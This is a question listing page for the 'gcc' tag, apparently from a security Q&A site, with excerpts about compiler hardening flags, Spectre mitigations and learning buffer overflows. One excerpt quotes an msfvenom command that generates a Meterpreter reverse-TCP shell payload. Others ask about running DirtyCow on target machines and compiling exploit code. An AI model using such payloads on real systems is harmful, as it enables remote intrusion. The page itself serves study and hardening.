Questions tagged [gcc]

GCC is the GNU Compiler Collection. It's the de facto standard C compiler on Linux and supports many other languages and platforms as well.

Filter by
Sorted by
Tagged with
1 vote
1 answer
312 views

gnu gcc source archives signed with expired GPG key?

I'm in the course of rescuing a legacy app that got left behind and turned out to be needed on rare occasions, one of which occurred yesterday. I need to rebuild some libraries and the libraries have ...
user avatar
  • 163
2 votes
1 answer
192 views

How do I compare the safety of a compiled program with optimization flag?

I would like to know how I can know which is the safest compilation line, that is: Having several compilation lines in, for example, GCC, how do I know which one is more secure? Hardening would be a ...
user avatar
  • 21
1 vote
1 answer
249 views

Memory address problem in GNU Debugger

I'm new to gbd. I've wrote a simple program which will print hello world 10 times(I've listed the program in the screenshot). Then I've displayed the assembly language and set the break point to main ...
user avatar
1 vote
0 answers
321 views

How to disabel relro to overwrite fini_array or .got.plt element?

I am reading the book Hacking: The art of exploitation and there is a format string exploit example which attempts to overwrite an address of the dtors with the address of a shellcode environment ...
user avatar
1 vote
0 answers
93 views

Confusing with the exact location of a shellcode in memory?

When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But most of the time, it crashes saying 'segmentation fault'. I got the same ...
user avatar
1 vote
2 answers
4k views

dirtycow exploit without gcc [closed]

I found many vulnerabilities but almost all of them require gcc which is not available on most of my target machines. I was wondering if it's possible to run dirtycow without gcc installed or what is ...
user avatar
2 votes
1 answer
474 views

the state of ASLR, PIE, SSP on Debian in 2018?

As far as I remember, most Debian Wheezy packages were not compiled with those useful security flags (ASLR, PIE, SSP, and more). Did the situation improve with Debian Squeeze or the upcoming Debian ...
user avatar
  • 71
2 votes
2 answers
3k views

Unable to understand $EIP changes with Buffer Overflow

I am learning Buffer Overflow, so the question might seem silly but here it is. I started with this very simple buggy program int main(int argc, char *argv[]) { char buf[128]; printf("You entered ...
user avatar
  • 201
4 votes
2 answers
4k views

How does gcc compiler guard stack for stack overflow?

When we compile c program with gcc, we have to inlude "-z execstack" option to enable stack overflow attack. The question I want to ask is how does gcc implement this . Without this option, how does ...
user avatar
  • 61
4 votes
1 answer
3k views

Compiling with GCC retpoline flags

As of version 8 (later backported to 7.3), GCC has added retpoline support [0]. While I understand that it is intended[citation needed] for use in kernel patching for Spectre (ie: [1][2]), that does ...
user avatar
  • 361
5 votes
1 answer
1k views

How does GCC's -mmitigate-rop work?

GCC 6 has a flag, -mmitigate-rop, which compiles binaries in a way that reduces the number gadgets exploitable by ROP. The GCC documentation explaining this feature is minimal: -mmitigate-rop Try ...
user avatar
  • 63.8k
2 votes
0 answers
105 views

Function epilogue behavior since GCC 4.9.0

I'll use the following C code to explain my question: #include <stdio.h> int main(void) { printf("foo\n"); return 0; } Before GCC 4.9.0, disassemblying it produces: .LC0: .string ...
user avatar
5 votes
1 answer
829 views

Software mitigation for Spectre v2

I run Debian as my OS and Guix as my package manager. I also run (approximately) latest kernel built using Guix. According to spectre-meltdown-checker, my kernel has mitigation for v1, v2 and v3. ...
user avatar
  • 182
4 votes
1 answer
1k views

Custom EXE Template Metasploit 64-bit ASM PE Syntax

I asked this previously then deleted since I think I asked the question without gearing it towards msfvenom and custom EXE templates. There is a 64-bit Windows PE written in assembly that ships with ...
user avatar
1 vote
1 answer
3k views

Segmentation fault in shellcode

I generated a shell code with msfvenom # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c When I compile my shell.c with gcc (version 6.3.0-16) with this ...
user avatar
2 votes
1 answer
1k views

Shellcode not executing properly

I managed to get shellcode to be pointed to by eip by building my executable without safety measures. However, it does not appear to execute. Here is the C source of my vulnerable program: #include ...
user avatar
  • 165
1 vote
1 answer
143 views

Issues testing buffer overflow

I am experimenting on my computer, so I wrote a vulnerable program in C to test buffer overflows on: #include <stdio.h> #include <string.h> #include <stdlib.h> int check_password(...
user avatar
  • 165
72 votes
6 answers
19k views

Is it dangerous to compile arbitrary C? [duplicate]

I have a small server and I would like to check compile times on C programs provided by users. The programs would never be run only compiled. What risks are there to allowing users to compile ...
user avatar
2 votes
5 answers
6k views

How do I harden compilers (as suggested by Lynis)?

This article suggests to restrict compilers to root, but does not say how, and I couldn't find anything useful by searching the Web. ii g++ 4:5.3.1-1ubuntu1 ...
user avatar
  • 1,721
6 votes
2 answers
2k views

Is it possible to crack g++ rand()?

So, I have this: I know that some code was used to generate a random sequence, and it looked roughly like this: #include <iostream> #include <string> int main() { const std::string ...
user avatar
  • 161
5 votes
1 answer
6k views

Gentoo Hardened vs other distros

I was wondering if the hardened profile from Gentoo was really more secure than any other distro (like Debian, RHEL, Arch ...). For those who don't know, Gentoo hardened allows a system to be built ...
user avatar
  • 53
3 votes
0 answers
2k views

How to exploit a stack-overflow without setting -mpreferred-stack-boundary=2

I have been playing with some wargames and I ported some of then on my Linux machine as well. I noticed that when not using -mpreferred-stack-boundary=2, gcc might compile "main" with an interesting ...
user avatar
15 votes
3 answers
3k views

Compiling a buffer overflow example in modern Linux?

I'm trying to compile a simple buffer overflow example on a Debian i386 VM. The executable builds ok, but EIP does not get overwritten correctly despite being supplied a sufficiently large input to ...
user avatar
  • 313
5 votes
2 answers
995 views

Is compiling untrusted code safe?

I'm curious about compiling with gcc/g++/clang with the assumption that headers and implementation files are user-provided, but not the build configuration. (i.e., no cd lib && make) What if ...
user avatar
  • 270
-2 votes
2 answers
1k views

Cannot get simple shellcode runner to work [closed]

I'm just trying to execute shellcode directly from the command line. I send a simple 0x90 NOP and get a segmentation fault? root@server:~# gcc shellcode.c -o shellrun -fno-stack-protector -z ...
user avatar
1 vote
1 answer
4k views

Exploit Compilation Problem [closed]

I am trying to compile the following exploit: http://www.exploit-db.com/exploits/10613/ But get the following error: local.c:12:22: fatal error: asm/page.h: No such file or directory compilation ...
user avatar
5 votes
1 answer
3k views

Bypass va_randomize_space and stack-protector

Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks? ...
user avatar
68 votes
2 answers
29k views

What is the most hardened set of options for GCC compiling C/C++?

What set of GCC options provide the best protection against memory corruption vulnerabilities such as Buffer Overflows, and Dangling Pointers? Does GCC provide any type of ROP chain mitigation? Are ...
user avatar
  • 46.8k